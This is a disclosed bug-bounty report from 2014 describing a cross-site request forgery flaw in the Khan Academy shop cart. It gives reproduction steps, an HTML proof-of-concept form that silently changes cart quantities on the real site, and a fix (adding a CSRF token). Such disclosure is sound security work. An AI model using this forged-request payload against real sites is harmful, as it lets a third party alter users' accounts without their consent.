Khan Academy · Report #6378
CSRF - Adding/Removing items to cart - shop.khanacademy.org
Informativestatus
4upvotes
8 May 2014disclosed
How it was found
Hi there,
I've discovered a possiblity to remove/add items to a users' cart at shop.khanacademy.org.
Details
- Host: shop.khanacademy.org
- URL: http://shop.khanacademy.org/cart
- Affected parameters: updates[PRODUCTID]
Steps to reproduce
-
- Visit http://shop.khanacademy.org/cart and empty your cart
-
- Run the following CSRF PoC:
<html>
<body>
<form action="http://shop.khanacademy.org/cart" method="POST">
<input type="hidden" name="updates[211669705]" value="1" />
<input type="hidden" name="update" value="Update quantities" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
-
- Take a look into your cart again
-
- There should be a new item.
An attacker can set the quantity to zero to remove an item or increase / add new items to the cart.
How to fix?
You should add a CSRF token to the form.
Best regards, Sebastian Neef